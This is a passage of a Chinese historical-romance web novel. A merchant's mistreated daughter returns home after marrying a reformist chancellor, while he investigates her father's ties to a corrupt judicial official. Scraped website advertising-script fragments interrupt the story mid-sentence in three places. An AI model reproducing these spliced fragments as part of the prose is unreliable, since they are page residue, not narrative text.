这晚,她又听柳惜君讲了魏巍许多事。为了根治冗官问题,他大胆改革吏部弊政,甚至不惜得罪了一些旧友,与保守势力为敌。听魏嵘说,他近日忙着春闱新法,常常昼夜不寝不眠,估计要等到下月放榜时才能得空歇歇。 耿婳听得揪心,原来他这般胸怀社稷,心系天下。明天回门,她都不好意思打扰他了。 翌日。 正堂里,耿忠眯着眼睛研究贺礼礼单,哐当一声拍案而起。 “这个张掌柜真他娘不要脸,上回他儿娶妻我送的是蓝田玉如意,他这回才上了二百两银票,真占老子的便宜!” 他生得黄里发黑,凸嘴高颧,活像村里犁地的老黄牛。 杜氏款款走来,纤手持帕揉着他胸口道:“老爷别气,您把婳儿教得好,她又嫁得好,以后不愁回不了本。” 耿忠眉头锁得更深。官场上的弯弯绕绕他玩不转,耿忠只知道自己是个做生意的,活着就是为了赚钱。 大奉贸易发达,国家富庶,民风开放,妇人官人各有各的风流,美容行当由此孕育而生。在洛阳这种富得流油的京都地带,男男女女皆会涂脂抹粉,插花弄玉,因此他家经营的胭脂生意才能愈发红火,蒸蒸日上。 尤其是林氏留给他的诸多美容养颜的秘方,做出来的这个粉那个膏,更是被皇城贵妇争相购买,趋之若鹜。 如此红火的行业,自然少不了竞争。这些年为了稳固京城的美容行当,他没少在黑市上偷鸡摸狗搞灰色生意,贿赂官员充当黑手套都是家常便饭。不然他家胭脂铺子也难在京城独占鳌头。 可常在河边走哪有不湿鞋。他被大理寺逮到过不止一回,按律法要么拿银子打点,要么就真得受点皮肉之苦、牢狱之灾。 可耿忠是个精明人,深知商人再阔,也要对上边的官老爷低头。大理寺里有他数不胜数的案底,必须寻个护身符才能安身立命。 而他寻的,便是与他打交道最多的大理寺少卿刘理。这人年少有为,父亲是吏部尚书,外公是前朝国舅、如今太后的亲哥王司空。 好一个皇亲国戚,勋贵之家。他一来二去,成了刘理身边的走狗。就连员外这一空衔,也是靠刘理打点而来。最近一次被威胁着办事,只因走私紫檀木被逮,要献祭个美人供上边享乐。 他想都没想,直接让杜氏把耿婳推了出去。 那丫头有十足的姿色,若是能服侍好上边的大人物,没准一家子都能鸡犬升天。 谁知那人竟是刚正不阿的魏丞相。 魏巍为官清廉,从不徇私,因推崇新政,传言已惹出不少非议,更与少卿一众势力水火不容。 一想到这儿,耿忠叹了口浊气。如今偏偏结了亲,两头都不好得罪,只能先继续巴结刘理,却也要防范魏巍。 不一会儿,阿沁进来了。 耿忠问:“她人呢?” “禀老爷,她回了自己屋里。”说完,她被招呼到杜氏身侧。 另一边,简陋狭小的偏房里,熹微顺着她的背,笑道:“小姐慢点。” 耿婳也想吃慢点,但是早上没吃饭就出门了。主要是相府离家太远,她又没有马车,只能步行回来。 熹微姑姑做的清蒸黄花鱼不要太好吃,而且马上还要去给爹爹请安,她不敢耽误太久。 而她不去父母那边,直接到偏房找熹微,也是有私事的。 耿婳擦擦嘴,难以启齿地说明了来历——她身子还在疼。她本以为隔一天忍忍就好,结果愈发肿胀,她昨晚沐浴后悄悄看过,那处嫩肉还红了一块,酥酥麻麻的不舒服。 熹微是过来人,懂的都懂。小姐生得娇嫩,定是受不了春宵苦楚。头一次从青云楼出来,也是这般症状。 她递过去药膏,接亲那天本来想把这药给她,结果后来忙忘了。 “小姐难受可要说出来,别太惯着魏相。”一想到这儿,熹微眼泪又收回去,笑道:“其实如胶似漆也好,我看谁还敢欺负咱们。小婳这是苦尽甘来了。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >耿婳本来想说他们实际相敬如冰,又怕姑姑担心,把真相咽下肚里。 熹微看破不说破,“怎么走着来的,好歹是丞相府,竟敢怠慢主母。” 不是相府没有,是她没敢去要。婆婆和夫君都不待见她,柳惜君管家也忙,她不敢劳烦她。 她自小就这样,从不敢去争取权利,生怕遭人厌弃。 熹微取出一袋钱,“身子还没好全,回去路上雇辆马车。” “太多了姑姑。” “剩下的买点好吃的,不够再找我要。” “姑姑……”她眼圈含泪,不知怎么感谢熹微。 耽搁太久,现在要回正堂了,不然让爹爹等急了,又要挨骂。 正堂。 耿忠和杨氏正襟危坐,耿婳行跪礼问安后,杜氏无动于衷,还像以往一样冷淡。 耿忠一看魏巍没来,也就没让耿婳起来。 他问:“魏大人怎么没来?” 耿婳缩着脖子,小声回道:“回父亲,相爷公务缠身,无暇顾家。” 怕他不信,她又说:“事关春闱,时间紧,实在忙不开。” “他负责会试?”耿忠敏锐问。 耿婳顺势答:“新政涉及科举,又是头一回,所以看得紧些。” 耿忠又道:“入了魏府门庭,事事都要小心谨慎,断不可生出丝毫差池。尤其是……” 他眯起眼睛,一切尽在不言中。 “不可泄露一个字。”他从牙缝里轻飘飘挤出这句话,隐忍而切齿。 耿婳知道他指的是耿家和大理寺少卿刘大人的密谋。她自然不敢说,毕竟母亲林氏的遗物还在杜氏手上。里面不仅有林氏的念想之物和细软金银,也包括美容养颜的秘方——那是林氏一辈子的心血。 耿忠训完,杜氏又拧着眉头道:“你夫君忙,你做妻子的也该体贴体贴。他不回府,你就该主动陪陪,不然留你何用。” “是。”耿婳听话应下。余光瞥见杜氏身边的阿沁,就知道是她先来通风报信的。 若是魏巍待她好,杜氏才不敢蹬鼻子上脸呵斥她。 “你这对镯子不错。”她又道。 耿婳未答,这是昨天敬茶婆婆杨氏赏的。她为人低调谦和,本来不想戴这么贵重的饰品,又怕熹微姑姑担心她过得不好,才戴回娘家。 杜氏伸手,示意她走近。 耿婳忍着膝腿酸麻慢慢起身,刚一过去,杜氏熟练取下镯子,套到自己腕上。 耿婳饶是脾气好,也皱起柳眉。 看她有气,杜氏先发制人道:“谁要你的东西,母亲借几天找个懂行的鉴鉴真假,下次你回来就还你。”她说得头头是道,又拿“母亲”一词压她,稳稳当当占领了道德高地。 耿婳委屈,不知所措地看了眼父亲。 耿忠一点意见也没有,给了个“你娘还会诓你?”的眼神。 耿婳又看了他一会儿,确信他不会再为自己说一句话后,眼眶里渐渐蓄上泪雾。 阿沁一定告诉她这是御赐的宝贝,不然她也不会光明正大的抢劫。这不是杜氏第一次顺手牵羊了。母亲留给耿婳的遗物,多数被她顺走,到现在也没归还。 “这镯子给您,能不能把母亲的遗物还我?” 杜氏的脸离开拉下去。她瞟了一眼旁边的夫君。 耿忠吆喝道:“你母亲健在,活得好好的,什么遗物不遗物的,晦气不?!” 耿婳吓得身子哆嗦一下,忙道:“好,那什么时候还我镯子。” 杜氏歪头道:“你刚刚不是说给我了?喏,老爷都听见了,那还还什么还。” 听着她的话,耿婳眼睛逐渐变得空洞,最后连眼泪都流不下来了。她像个被抽干灵魂的行尸走肉。除了默默咽下这口气,她什么都做不了。 杜氏得了镯子,欢喜道:“伺候好相爷,金山银山都能得来,还计较什么镯子。行行行,下去吧你。我们一家子该用午膳了。” 这就是在下逐客令了。 耿忠不说一句话,看样子也不打算留她。 “是。”耿婳含泪点头,饭也没吃,匆匆离开了。 5. 005 青云楼二楼雅间内,汪子元亲自点燃博山香炉,吩咐侍女布菜。远处的许渊斜倚栏杆,笑眯眯看着一位颇有姿色的侍女。 “累不累啊别忙活了,留给别人拾掇就行。” “无妨。”汪子元回道。 “又没跟你说话。” 汪子元:“……” 菜肴布置好,他特意把魏巍爱吃的辣菜端得离上首更近些。原本友人私下相聚,不谈公务,无需这些规矩。 只是今日与以往不同,他是带着任务来的。 等他的功夫,许渊半开玩笑道:“伯琳这人也是,今儿应该回门见岳丈,这倒好,娶了娇妻还不忘陪兄弟,当真是个有情有义的。” 汪子元也不由笑了,“听政事堂外的看守说,他大婚当夜就回去了。” “……洞、洞房都无?”许渊难以置信。 汪子元尴尬噤了声。人家房里事,他哪儿知道。 许渊干咳几下,“不愧是魏大丞相。” 论起男女私情,魏巍是个天生的木鱼脑袋,女娲捏他的时候一定忘记给他开窍了。 这么多年,就没见他多看哪个女人半眼。每每谈及风月,魏巍无甚兴趣。能和他说得上话的女人,不是皇室公主,就是官宦千金,左不过大家闺秀,右不过高门少淑,各个端庄拘谨、贤良持重,在他眼里也无趣至极。 即使大奉最高贵的公主主动倒贴,也没见他动过半分心思。 自魏徵致仕,魏巍出任丞相以来,魏家对外事宜皆由他一人做主。魏巍沉于公务,从不把内宅琐事放眼里,更别说婚姻这种小事了。若无青云楼那场意外,他估计根本不会有成家的打算。 倒头来,他娶不娶,娶何人,都是自己说了算。即便是父母,也插手不得半分。 正此时,魏巍掀帘进来。 许渊立刻道:“我说你这人,总爱掐着点来,说是午正还真一刻不耽误。” “伯琳素来守时。”汪子元笑着叩了叩案几,伶人自屏风后款款走来,跪坐下首轻抚琵琶。 “知道丞相大人爱听琵琶,特意备好了,赶紧歇歇腿儿。” 汪子元打开黄花梨木盒,里面躺着一尊芙蓉石蟠螭耳盖香炉。他双手递去,说了几句奉承话后,就要给魏巍献宝。 密友皆知魏巍对外简洁朴素,实际却喜爱华美之物。魏巍终日闭关政事堂,都快熬成猫头鹰了。此刻送来熏香器皿,确实难以拒绝。 而两日后的春闱,是会试科考,也是此次科举改革的试验田,他既然是新政挑大梁的人,多分神费力也理所应当。 官僚腐朽冗杂的弊端愈发凸显,必须任人唯贤,从选拔的源头切入。之前每次科考,舞弊成风。 为整顿考纪,他实行锁院管理,出题官被软禁在别馆,由心腹严格把守,切断其与外界联系,直至春闱结束才解禁。 而被锁院的出题官中,就包括汪子元的祖父沈琳。汪家勋贵背景,世袭淮安侯。先帝此次春闱汪子元外甥也会应考,本来是志在必得的。 魏巍这次改革,让官僚子弟本来走个过场的会试凭空生出多了极大的变数。近日有求于他的同僚,阿谀谄媚之人比比皆是。 哪怕是好友约饭,也不得不往这方面想。魏巍处事清正,自然公私分明。 汪子元今日送礼,不言而喻。 魏巍冷道:“叙旧可以,礼就免了,要问别的一样无可奉告。” 汪子元递礼盒的手一顿,魏巍不咸不淡扫他一眼。 今日汪子元确实是带着任务会客的。魏巍这么一说,直接把他堵在了外面,更别提其他了。 他在魏巍的审视下,脸色变得五光十色。 再动听婉转的琵琶音也遮盖不住饭桌上的尴尬。 许渊忙道:“得得得,今儿不聊政事。咱爷仨好不容易得闲,不醉不归,不醉不归。尤其是你伯琳,还不赶紧放松放松。” 汪子元垂睫道:“伯琳爱吃辣,特意点了剁椒鱼头,趁热尝尝。” 说完,他就去给他夹鱼。 “不必。”魏巍道。 许渊冲他啧了一声。汪子元低头不语。 气氛再次僵住,许渊赶紧伺候酒水。 “我说你啊,今儿不陪着媳妇回老丈人家,非和我们两个单身汉喝闷酒。” 一听这话,魏巍就想笑:“你这厮,还敢管我房里事?” 都是知根知底的老友,魏伯琳“致君尧舜上,再使风俗淳”的人生理想他们当然晓得。 魏巍永远都不会对内宅那点闺房事上心。有公务要忙,他自然会免去婚假,更别说回门这种小事了。 许渊一杯杯喝起来,微醺道:“别看你那小夫人长得妖媚,可眉心若蹙,一看就是个受气包。你可别欺负她。” 魏巍浑不在意。婚后与婚前没什么区别,无非榻上多了个暖床的人。 他最爱收集华美摆件。屋里多一个花瓶不多,少一个花瓶也无妨,只要不闹腾,摆在家里就挺好的。 魏巍很快把新婚之事抛到脑后,一杯杯给友人倒酒。许渊不一会儿就醉了。 魏巍摆手,屏退伶人侍女。这货是个风骚才子,一旦微醺半醉,多半会做点风流之事,譬如在婢女后背题字写诗什么的,简直不堪入目。 汪子元起身哄着醉酒的大才子去了栏杆处醒神,许渊摇摇晃晃拎着空酒壶瘫在好友身上吹风。 阳春三月,午风温暖和煦,许渊抵着栏杆,默默看着底下的人流。 一抹明艳的绛红撞入视域,只惊鸿一瞥,便叫众生万物都失了色彩。 许渊瞬间酒醒一半,“伯琳家的小娘子?” 汪子元也跟着看一眼头戴帷帽的女子,诧异道:“你怎么认出来的?” “很明显啊。”醉酒的许渊指了指耿婳的丰.乳,又指指她的细腰和肥臀。这身段就跟妖精一样,教坊司最有名的花魁娘子也比不过。 许渊傻笑:“魏大丞相真有福气……” 距离过远,汪子元以为他在比划人家的身高。他旋即想起来,魏夫人的个子确实出挑,比寻常女子要高一头。 知道那是朋友妻,汪子元垂下眼睛不再多看。 双颊酡红的许渊扭过半个身子,对着魏巍恨铁不成钢:“你啊你,不懂享福……一点儿也不懂!” 魏巍:“???” 正此时,玄海悄无声息从门外溜进来,正要给主子汇报情况,一看魏巍脸色,立刻变成霜打的茄子。 魏巍显然不认为这个时段玄海该出现在这里。 “不是让你盯着她?” 玄海抬眼看了看不远处的许渊和汪子元。 “但讲无妨。” “回相爷,夫人已经从耿家出来了。” 这么快?魏巍一顿,问她情况。 “确实如传言一样,夫人在府上处境不好,小的窥见她在偏房抱着一个老婢哭,继母苛责她,还、还拿走了太太赏的镯子……” 玄海迟迟说不到点上。魏巍打断道:“我教你查的是这些?” 玄海额上生汗,道:“后来还被耿员外训话。” “训什么。” “教她好好伺候您。” 魏巍:“……” “还有呢?” 玄海回道:“耿员外问了春闱的事。” 果然。 魏巍眯起眼睛,“她怎么说。” “夫人也是听二奶奶说的,她知道的不多,被问时还替您说了话。” 他有些功夫底子在身,这几日一直暗地里监视耿婳。耿府是商户人家,戒备不严,侍从不多,他在暗处听得千真万确。 “耿忠和大理寺可有来往?” “前几年就有,自从上元节后,私底下来往更甚。” 魏巍冷笑,“还有呢?” “还有,还有……夫人像是在为家里保守秘密。” “嗯?” “当时声音太小,小的没听清……” 不用听也知道是什么,从她洞房时万般窘迫的羞耻模样不难看出,三个月前她是被迫去青云楼爬床的。至于秘密,必然和大理寺有千丝万缕的联系。 玄海道:“耿忠与大理寺必有勾结。至于背后之人,小的还没查明。” 魏巍反问:“用脚趾头想,你觉得会是谁?” 玄海对上主子的凤眸,两人无声交流,所思略同。 新政推行的节骨眼儿上,敢如此害丞相的,除了少卿刘理,还能有谁? 理清了脉络,魏巍泰然自若,再想到那个心甘情愿被利用的蠢女人,竟不知作何评价。 一个时辰后,三人酒足饭饱。许渊一把勾住魏巍脖子,调笑道:“魏大丞相,听说怀安公主可是提前回京了哦。” 魏巍四平八稳道:“她回来与我何干?” “好歹是你——” 魏巍摆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了他一眼,正经问:“是我什么?” 许渊即刻把“赐婚对象”四字吞回肚里,腹诽道:翻篇儿翻得可真快。可真是,不解风情…… 汪子元闻言,顺势瞥了眼魏巍革带,那块玉佩已经不在了。 耿婳缓步走在回相府的路上,这里是京城最繁华的市井街坊,周遭房屋鳞次栉比,酒肆茶楼铺面轩华,人群熙熙攘攘声音喧杂。 她戴着帷帽,没人知晓她在安静流泪。 一想到耿忠,她就只为母亲委屈。 当年他本来只是个卖杂药的小货郎,穷得家徒四壁。为了扭转财力,这人十七岁那年娶了年过三旬的林氏为妻,看中的就是她身上这笔不菲的财产。 最初耿忠创业起家全靠林氏的积蓄,生意做起来后,不仅小妾填了一房又一房,还把年老色衰的林氏弃之不顾。 耿婳童年的记忆里,根本没有父亲的存在,他天天早出晚归,即使回家也是宿在年轻貌美的小妾那里。只有生意不好时会过来出气泄火,对林氏拳打脚踢,大骂她是没人要的破鞋、窑子里出来的丧门星。 下人们惯会拜高踩低,一个个欺凌到她们母子头上,小时候耿婳随熹微一起照顾卧病瞎眼的林氏。直至母亲去世,她彻底沦为耿家最边缘化的主子,地位与熹微无异。 耿婳想起伤心往事,刚要取帕拭泪,才想到熹微姑姑给她织的新帕在大婚那日被耿钰抢去擦嘴了。她从小被教导得性子温顺,他们一家就敢一而再再而三地抢走属于她的东西。 手帕是,镯子也是,还有母亲留下的遗物细软,除了那个半旧的琵琶,其余的都被杜氏克扣了。 耿婳仰起头,使劲眨眼不让泪水外涌。她轻叹了口气,罢了罢了,一条帕子,给他就给他了。旧的不去新的不来,她争不过,只能被火气往肚里压。 姑姑刚给了她一袋钱,少女最爱购物逛街缓解心情。望着琳琅满目的街铺,她习惯性走了过去。 眼前是她最熟悉的店面,红木匾额上镌刻着烫金正楷——“采荷居”。 铺子前停着一辆宽大的双辕华盖马车,锦衣侍从林立两侧,俨然占领了采荷居。耿家的店铺又进了皇亲国戚。 耿婳同其他女子一起等在外面,她听见周围小声议论,这次怀安公主服丧回京是为了终身大事,她要亲自选个称心如意的驸马。 不知等了多久,直至尊贵的公主被女使婢从簇拥着出来,她们才得以进去。 与衣衫繁复的公主殿下擦肩而过时,耿婳屈膝福礼,瞥见了她衣带上的和田玉佩。 好熟悉…… 什么东西在她脑海一闪而过,耿婳没细想,进了铺子。 一见耿婳进来,店主脸色没啥变化,只当她是寻常人。一看就是耿忠提前通好了气,摸清了她在相府的处境,才敢这般怠慢。 如果换成以前,还会客气地叫声小姐。可如今嫁出去的女儿泼出去的水,她已不在耿家,没必要当做自己人。而且,她没出阁前来店里买东西也要掏银子,更遑论现在呢。 耿家的生意遍及洛阳城,货品从发饰衣着到各式水粉胭脂,一应俱全,主打一个为爱美人士服务。 耿婳最熟悉耿家的商品,品质上乘,价格极贵,成了洛阳城划分阶级的标尺,专门收割上流人士。 耿婳停在摆放金钗玉簪的柜架前,只一眼就迈不开腿。她生来爱美,自小就喜欢这些东西。 看了眼价格,她又冷静下来。想起了来铺里的目的——她要买一条新帕子。 这里最便宜的帕子也要五两银子。其实她还想买几条新裙子,买当下最时兴的钗环簪花和胭脂膏子,她想像柳惜君一样打扮得靓丽多姿。 可惜她没有钱。熹微姑姑节衣缩食攒的银两,不能随便糟蹋。 店主丝毫没有为她通融降价的意思。 他的态度,折射出大老板耿忠的立场——他穷了小半辈子,发迹后还是改不了抠门的习惯,恨不得出门买菜拿上自家秤杆子。对她这个亲女儿更是苛责。 耿婳突然意识到自己好穷。攒了十七年的小金库被她当散财童子分发给下人,剩余的已经不够她买喜欢的首饰衣服了。 她心里大悔,忽然意识到从今往后唯一获取金钱的方式,就是等着相府发月钱。或者……讨好魏巍。 可月钱暂时没领到,魏巍也厌她恨她。 耿婳无奈地叹口气,最后打消了消费念头,打算回去做针线活。 6. 006 走回后院时,已是午后。耿婳捶腿歇息,午睡醒来后从放嫁妆的箱子里取出藕粉色的布匹,剪下一块套入绣圈,又拿出针线绣花。 她从小被逼着学针织女工,手帕这种东西信手拈来。耿婳穿针引线,在帕子上绣了一朵鲜艳的牡丹花。 她绣工细腻,绣完时再抬头,视线好半天才凝聚,眼睛酸涩得想流泪。 黄昏已过,青烟摆好晚膳。耿婳看到了一盘做工精致,摆盘精美的燕窝糕。她记得小厨房不曾有这手艺。 “这是?” “回夫人,是二奶奶从娘家带回来的,特意给您留了一份。” “有劳她费心了。” 这回耿婳罕见地没贪嘴,简单填填肚子就又跑去做针线活。她打算也给柳惜君绣个帕子当回礼。 耿婳做事细致耐心,在榻上一待就是个把时辰。这次她绣得极为认真,还用金线给手帕边缘勾了边。 月亮爬上枝头,将清冷的光照进内室。青烟取来灯烛,道:“夫人当心。” “多谢。”耿婳感激道。 青烟微讶,旋即疑惑地看了一眼陪嫁丫头阿沁。 阿沁习以为常似的,打了个哈欠,附和道:“小姐仔细眼睛,可别学了你娘。一会儿你让青烟备个水,奴婢实在困乏,先撤了。” 青烟怔在原地,目送阿沁懒洋洋离开。 耿婳抬头,对她和善道:“劳烦备水,多谢啦。” 青烟点头去了浴房。 又过了半个时辰,她才把手帕绣好。礼轻情意重,柳如烟应该会喜欢吧。 耿婳揉揉疲惫的眼睛。长时间埋头苦干,再抬眸眼前竟有些模糊,她放空自己好一会儿,才缓过来。视野清晰后,眼睛疼得厉害。 耿婳揉揉眼睛,趴在小案上,头倚双臂仰望窗棂外的朦胧月色,安安静静想事情。 想着想着,她就想到了年迈的母亲。 林氏也经常熬夜做女工,她喜欢给耿忠做皂靴,从鞋底到鞋面都会亲自操办,一针一线细致入微,直到熬瞎了眼睛。 清冷的后院门可罗雀,没有人会来她们这个荒凉的院子,包括爹爹。当时他已经赚得盆满钵满,日夜混迹青楼赌坊,从不来看望为他操劳成疾的林氏。 耿婳当时年纪小,问她爹爹不缺钱为什么还要给爹爹做鞋子。 林氏摸摸她的头,悄悄告诉她,娘亲和爹爹第一次见面时,爹爹穿了双沾满泥土的草鞋,落魄又邋遢。于是成婚后,娘亲每月都会给他做双新鞋。这是夫妻俩约定俗成的事。 即便耿忠根本不缺衣少食,她还是心心念念着丈夫,体贴入微、任劳任怨。 “可是我听他们说,爹爹不喜欢我们。” 她托腮问她娘,“爹爹不喜欢我们,我们还要给他做鞋子吗?” 林氏不恼不躁,微笑着告诉她四个字——“从一而终”。 “从、一、而、终?”她当时还不懂事,对这词一头雾水。 “以后婳儿出嫁了,也要好好服侍夫君呀。” “我的夫君,会不会也和爹爹一样?”耿婳突然好害怕,她不想结婚,也不敢结婚。她怕遇到像爹爹一样的夫君。 林氏哄道:“不会的,婳儿未来的夫君一定温柔体贴,对你百依百顺。” “可如果他不喜欢我怎么办?” “还能怎么办?他要是不喜欢你,你就去喜欢他,你越喜欢他,他就越懂你对他的好,慢慢就回心转意了。” 遗憾的是,林氏一辈子都没等到耿忠回心转意。 耿婳望着月亮思考母亲的话,慢慢的,月亮里面出现了魏巍挺拔的身影。 他是不是也刚忙完,还是仍在操劳政务? 魏巍是一人之下、万人之上的丞相,是她触不可及、不敢肖想的大人物,可她从没意识到,自己其实离他很近很近。近到同塌而眠,交颈而卧。 沐浴完,耿婳一人脱鞋入帐。斜躺着抚摸身侧多余的枕头时,她才发现宽敞的拔步床原来如此空荡,如此孤独。 “……夫君?” 她摸着魏巍的枕头,以极小的声音叫出了这个合理又生疏的称呼。 她还从没这么叫过他。 她忽然好想他。 翌日,她把连夜绣好的手帕放进松香木盒里,派青烟交给柳惜君。 耿婳没有亲自去。一来自幼宅惯了不爱动。二来,她打算赶时间给魏巍也绣一个荷包,明天亲自送给他。 她都打听好了,明日春闱魏巍要去视察考场。为了这次会试,他前前后后忙得日夜不归,可见有多重视。 她不好意思去政事堂打搅,就等明天科举结束去见他。 就算不念及母亲的教导和心底的悸动,单纯从现实层面看,她也必须和魏巍搞好关系。 耿婳眼下初来乍到,想要在相府站稳脚跟,光靠和柳惜君打点关系是不够的。关心枕边人,本来就是她这个妻子分内的事。 她美滋滋想着,在箱子里翻出一块月白色的丝滑布料,又从针线笸箩里取了翠绿色的丝线穿针。 她打算在上面绣几棵竹子。竹之直节挺立,犹君子之风,最配他了。 耿婳埋头伏案绣竹,为了保证竹节的真实立体,她特意按着竹节纹理换了深绿色的细线一点点勾边。 捣鼓了半天,才绣好一小节。这时青烟拿着一卷账本从明间进来。 耿婳抬头,凝神一会儿,视野才清晰。她目力不佳,针线活做久了更是费神累眼。 “夫人,帕子交给二奶奶了,她很是欢喜,本来想登门道谢,但大婚的账面一直对不上,她这两日忧虑成疾,卧病在床,实在过不来。” “柳姐姐病了?你怎么不早说,我去看她。”说着,耿婳就要下榻。 青烟慌了神,忙道:“不必不必,二奶奶怕传染给您,所以不想您去。这边是账册,您要是得空,可以帮她先算算。” 耿婳接过账本,里面是她和魏巍大婚的流水。 看来柳惜君是假意称病,借机把繁重的账目工作甩给她。这本来就是耿婳的婚事,她来查账也正常。就算是柳惜君无理取闹,她也只能受着。 还好之前学过珠算,耿婳把绣活搁下,拿过算盘开始对账。 丞相府家大业大,操办婚事的一应物品皆是最上乘的一批。耿婳特意看了眼布匹配饰这一栏,不是采荷居的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她家在洛阳同行业里独占鳌头,魏家却弃之不用。或许是魏巍的意思。 压下失落,耿婳认真核对账目,她之前从未干过这活。原本以为不难,结果算起来才发现繁琐又复杂,前后对不上的地方不胜枚举。 耿婳一个头两个大,眼睛一眨不眨地盯着密密麻麻的账目,一下午没休息才对完一半。晚饭匆匆吃了两口,又添灯加烛去算后半部分。 阿沁做样子似的陪她待了一会儿,随意寻了个理由垮着脸走开了。 青烟羡慕地目送她离开,不一会儿忐忑道:“夫人,奴今日确实有些累……” 她理由还没编完就听见埋头打算盘的耿婳温柔说:“不妨事,我一个人就行。夜深露重,你先去休息吧。” 青烟眼一亮,笑道:“多谢夫人体恤。” 耿婳也冲她笑了一下。最后熬到子夜,她才从账目里解脱出来。一抬眼,面前一阵花白,她揉了好久的眼睛,才慢慢看清室内的物件。 耿婳扶着残烛,摸索着去了浴房。水都凉了,她凑合着洗了个冷水浴,躺进了宽敞的拔步床里。 刚要甜甜睡入时,忽而想起未完成的帕子,耿婳腾一下从床上起身,又点灯去了案上。 漆黑的夜无声罩着幽静的内室,凄白月光透过窗牖,将那抹窈窕的身影拢得愈发坚定、孤单。 少女披衣埋头,借着微弱的烛光一点一点绣着绣圈上的竹节。她眯着眼睛细致地填补帕面,偶尔抬头凭着月光穿针引线。 人一旦忙碌起来,总会忘记时辰。直至烛火熄灭,蜡油堆满烛台,天空出现鱼肚白,耿婳才从绣圈里抬起眼来。 五更天已过,浑厚的晨钟声响彻整座相府。 天亮了。 耿婳唤了唤青烟,她却不在。耿婳又叫来阿沁,让她把核对好的账册还给柳二奶奶。小丫鬟极为不愿,耿婳又求了她一次,她才抱怨着去了。 阿沁走后,耿婳昏昏沉沉地移回拔步床,倒头就睡。 她这一睡,就到了日晒三竿之时。 昨晚熬夜受凉,又没休息好,她醒来时浑身乏力,咳嗽连连,鼻子也不通顺。 下床后第一件事就是洗漱打扮。耿婳昨儿熬了一宿,对镜一照,果然眼下乌青一片。她拿铅粉遮了遮,事倍功半。这盒铅粉和其他美容品都是陪嫁来的,杜氏愿意给她安置的,自然不会是好东西。 耿婳只能凑合着用。她底子好,再难用的胭脂水粉都影响不到颜值。 梳妆完毕,她对镜欣赏一会儿。 当初耿忠创业时,胭脂一类的化妆品都是母亲林氏亲自制作。她是扬州名伶,最擅化妆打扮,研究出的美妆品更是一流。 最早采荷居能做起来,全靠母亲呕心沥血。 只可惜,这些配方都到了耿忠手里,被他拿捏得死死的,美其名曰行业机密,长大了要传给儿子耿钰。 可那明明是母亲留给她的遗物! 林氏临死前两年,她被接到杜氏那里抚养,没能及时得到这些密物的制作方法。 耿婳心里堵得难受,旋即又发现,好像一提到家里的糟心事,她除了唉声叹气,什么都改变不了。 7. 007 耿婳还没拾掇,却被杨氏身边的大丫鬟拦住。 她清晨贪睡,误了给婆婆请安,现在人家兴师问罪,硬要领她过去赔不是。 杨氏虽然没柳惜君心眼子多,却实打实是个脸臭舌毒的主儿,一上来就从头到脚数落了她一通。 “前天我怎么提点你就是不记心!丞相夫人当了几天就敢如此惫懒,一点规矩也没有,非要传出去叫人听了笑话才罢休。” “再看你这身打扮,外人看了谁不暗笑一句从青楼来的。夫君不在家你这副模样是要勾引谁?” “一个妇道人家,最要紧的是为夫君分忧解难,为内宅开枝散叶……”杨氏两片极薄的嘴皮子一张一合,叭叭起来比和尚念经还烦人。 “今日我差人去贡院请伯琳回来,夜里你好好侍奉着,务必让他多留几日。这些天好好调养身子,其他什么也别想……” 杨氏左右不过敦伦,满眼盼着孙儿,就差直接把“你赶紧陪他行.房造娃”写脸上了。 耿婳的脸一阵白、一阵红,羞得五光十色,心里憋闷出酸涩的屈辱,她是哪里贱卖的种猪,就等着被迫□□产崽。 偏又不能说什么,只好忍着气顺应下来。杨氏要她回房好好预备着,耿婳老实巴交回去换衣服。 她喜欢浓妆艳抹,穿红着绿,从娘家带来的衣裙全是这类款式。耿婳连一条娟秀的褙子都没有,又没银两现买新的。她只好抹去红艳艳的口脂,卸掉华丽头面,插上简洁的白玉簪。 收拾妥当,耿婳忍着头晕又去小厨房嘱咐。 春闱由礼部主持,地点在京城贡院。这次会试是丞相亲自操刀的新政试点,魏巍亲临考场,格外重视。 贡院外每隔半丈就把守着一名侍卫,里面考场更是全程禁严,密不透风,连只传信的鸽子也别想飞进去。 “监得这么严,连个舞弊的都逮不到了。”许渊道,“你也是,非要管这么死,子元外甥考个试,你还非要他避嫌,他爷爷被你幽禁出题,现在还关着呢。” 魏巍道:“要不把他爷爷放出来?” “好啊。” “换你进去。” “啊,这……还是关着吧。” 这次监考官皆是魏巍近来提拔的亲信,多是寒门出身,应考之人则多半是官僚子弟,这场春闱势必要触动顽固势力。 为了迎接相爷回府,耿婳吩咐小厨房备好魏巍爱吃的菜,又去收拾内室,亲自盯着下人打扫。魏巍是个精细体面之人,万万不能被他挑出错来。 她诚惶诚恐,忙前忙后,昨晚受了风寒都来不及吃药,过了一会儿就脑袋昏沉,萎靡不振。 魏巍预计申时回来。她提前到了府门外等候。又过了半个时辰,他还没到。耿婳太阳穴突突狂跳,扶住门前石狮咳了好一会儿,脑壳像被斧凿劈开了一样疼。 她手里还捏着绣好的荷包,想要第一时间给他。她甚至已经想好了话术,等一见到他,她就先赔不是,为上次洞房夜道歉,然后说这荷包是送给他的赔礼。这样就能顺理成章得送出心意,他总不会不领情了吧。 少女的小心思一点点发酵,耿婳强忍不适,靠着这点甜丝丝的幻想硬生生又挨了一个时辰。 夕阳西下,暮色燃尽了半边天。凉风吹进衣领,顺着脊骨灌入冰冷寒意。耿婳瑟缩着身子,站到脚底发麻也没见人回来。待月亮爬上夜空后,她身披星辰缓步挪回屋里。 她等了大半天,看着一辆辆马车平稳驶过,没有丝毫停留。 实际上魏巍确实路过了。当时马车没做任何停留,许渊隔着车帘看到了扶胸低咳的耿婳。暮色之中,她好似被狐妖附身的病西施。 “伯琳,你媳妇?”许渊睁大眼睛。 晚风拂过,衣裙翻飞,妖艳的红裙勾勒出窈窕玲珑的身段。 马车快速驶过,魏巍匆匆一瞥,难以置信。 见他愣神凝思,许渊嗓子眼里使劲忍着笑:“怎么,想你媳妇儿呢?” “嗯。”魏巍闷哼一声,不快道,“她在门口杵着干嘛?” 他实在不解。 